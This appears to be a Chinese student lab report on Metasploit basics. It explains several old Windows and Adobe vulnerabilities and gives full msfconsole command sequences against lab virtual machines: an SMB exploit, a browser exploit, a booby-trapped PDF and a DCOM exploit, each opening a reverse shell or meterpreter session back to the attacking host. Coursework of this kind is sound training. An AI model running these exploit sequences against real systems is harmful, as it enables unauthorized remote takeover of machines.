20174302 王漫天 《网络对抗技术》Exp6 MSF基础应用
一、实验目标
MSF基础应用 ,掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。
二、预备知识
MS08-067 MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。在Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置,有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。
攻击原理 MS08_067漏洞攻击原理是攻击者利用受害者主机默认开放的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序的栈缓冲区,获得远程代码执行(Remote Code Execution)权限,从而完全控制主机。
源码分析 MS08_67漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize
函数时触发的,而在远程访问其他主机时,会调用NetpwPathCanonicalize
函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize
函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。
MS14-064
漏洞描述 Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术。成功利用这些漏洞的攻击者可以在当前用户的上下文中运行任意代码。如果当前用户使用管理用户权限登录,则攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。那些帐户被配置为拥有较少用户权限的用户比具有管理用户权限的用户受到的影响要小。 对于 Microsoft Windows 所有受支持的版本,此安全更新的等级为“严重”。
Adobe
漏洞原理 通过社会工程学探测到目标用户的邮箱,即时通信账户个人信息,净额以文档发送给用户,打开文档就会触发恶意漏洞。
MS03_026
漏洞描述 此漏洞由lds-pl.net漏洞研究组在2003年7月16日发现,漏洞及exp在网上公开后,网上出现了大量的×××实例,利用此漏洞的蠕虫也大量出现。
漏洞原理 微软修改dcerpc框架后形成自己的RPC框架来处理进程间的通信。微软的RPC框架在处理TCP/IP信息交换过程中存在的畸形消息时,未正确处理,导致缓冲区溢出漏洞;此漏洞影响使用RPC框架的DCOM接口,DCOM接口用来处理客户端机器发送给服务器的DCOM对象激活请求,如UNC路径。
MSF模块使用详解
msfconsole
进入控制台- 确定你要找的漏洞,然后输入
search 漏洞名
查找相应模块
show payloads
查看相关载荷set payload generic/shell_reverse_tcp
选择载荷show options
查看相关参数
- 进行参数配置
set RHOST 192.168.186.137//靶机IP set LPORT 5313 set LHOST 192.168.186.128//攻击机IP set target 0
- 利用辅助模块查看端口是否开启(默认端口为445)
msfconsole//进入控制台 search portscan //搜索端口 use auxiliary/scanner/portscan/tcp //使用漏洞模块 set RHOSTS 192.168.186.137 //设置靶机地址 exploit //攻击
exploit
侦听
三、实验内容
任务一:一个主动攻击实践MS08-067
靶机:Microsoft Windows 2000(192.168.186.138)
攻击机:kali(192.168.186.128)
use exploit/windows/smb/ms08_067_netapi //选择攻击模块 set payload generic/shell_reverse_tcp //选择攻击载荷 show options //查看配置信息 set RHOST 192.168.186.138 //设置靶机IP,端口默认为445 set LPORT 5313 set LHOST 192.168.186.128 //设置攻方IP set target 1 //这里为WIN SERVER2000(可通过“show targets”查看可攻击的平台) exploit
- 回连成功后,使用
ipconfig
验证是否回连正确
任务二:一个针对浏览器的攻击MS14-064
靶机:Microsoft Windows XP(192.168.186.137)
攻击机:kali(192.168.186.128)
msfconsole use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块 show payloads //显示可用攻击载荷 set payload windows/meterpreter/reverse_tcp set SRVHOST 192.168.186.128 //设置攻击机IP set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell,所以msf中的exp代码只对安装powershell的系统生效 set LHOST 192.168.186.128 set LPORT 5313 set target 0 //设置winXP靶机 exploit
- 将生成的URL地址在winXP的IE浏览器中打开,发现成功建立了一个会话
- 此时可以用ctrl+c退出当前状态,通过输入
sessions -i 1
获取第一个会话连接,并输入ipconfig
验证是否为靶机地址
任务三:一个针对客户端的攻击Adobe
靶机:Microsoft Windows XP(192.168.186.137)
攻击机:kali(192.168.186.128)
msfconsole use windows/fileformat/adobe_cooltype_sing //选择攻击模块 set payload windows/meterpreter/reverse_tcp set LHOST 192.168.186.128 //攻击机 IP set LPORT 5313 set FILENAME zlx5313.pdf //设置生成的pdf文件名 exploit //发起攻击
- 生成zlx5313.pdf,进入保存目录
cd /home/kali/.msf4/local
,输入cp zlx5313.pdf /home/kali/Desktop
将生成的zlx5313.pdf复制到桌面,然后在拖到主机WIN10上,再从WIN10拖到靶机WIN XP上。(为什么不直接通过nc传给XP,后面遇到的问题中会提到) - 控制台中输入
back
退出当前模块,输入以下命令进入监听模块:
use exploit/multi/handler //进入监听模块 set payload windows/meterpreter/reverse_tcp set LHOST 192.168.186.128 //攻击机 IP set LPORT 5313 exploit
- 靶机中打开zlx5313.pdf文件,靶机上钩,攻击成功
- kali中发现回连成功,输入
ipconfig
确认是否回连正确
任务四:成功应用任何一个辅助模块MS03_026(唯一)
靶机:Microsoft Windows 2000/XP(192.168.186.138/137)
攻击机:kali(192.168.186.128)
msfconsole use exploit/windows/dcerpc/ms03_026_dcom //选择攻击模块 show target //查看适用范围 set payload windows/meterpreter/reverse_tcp set LHOST 192.168.186.128 //攻击机 IP set LPORT 5313 set RHOST 192.168.186.137/138 //XP/2000 set RPORT 5313 run
- 将RHOST改为135(原默认状态),LPORT也改为135,WIN SERVER 2000成功
- WIN XP没反应
四、实验过程中遇到的问题
- 问题:对MS03_026漏洞进行渗透攻击时,出现
exploit failed
- 135端口:主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代码;使用DCOM可以通过网络直接进行通信,能够包括HTTP协议在内的多种网络传输。
- 解决方法2:将RHOST改为135(原默认状态),LPORT也改为135
五、实验思考
(1)用自己的话解释什么是exploit,payload,encode。
- exploit:利用。我觉得就是对漏洞的利用,也就是通过漏洞对靶机进行一些非授权操作。
- payload:载荷。也就是一段shellcode攻击代码,在利用漏洞对靶机进行一系列操作的过程中,实质上进行执行shellcode代码。
- encode:编码。查看了一下
/usr/share/metasploit-framework/modules/encoders
文件夹下的内容,我认为encode就是通过改变shellcode的编码格式来对攻击代码进行伪装,使其能正常运行并尽量免杀。
六、实践体会
- 本次实验,使我队MSF文件使用及相应的代码编程技术有了相应的认识。。再代码编辑中要有清晰的逻辑才能在平常中找到问题所在和突破口。
- 在以后的实验中学会举一反三,更好的学习每一次实验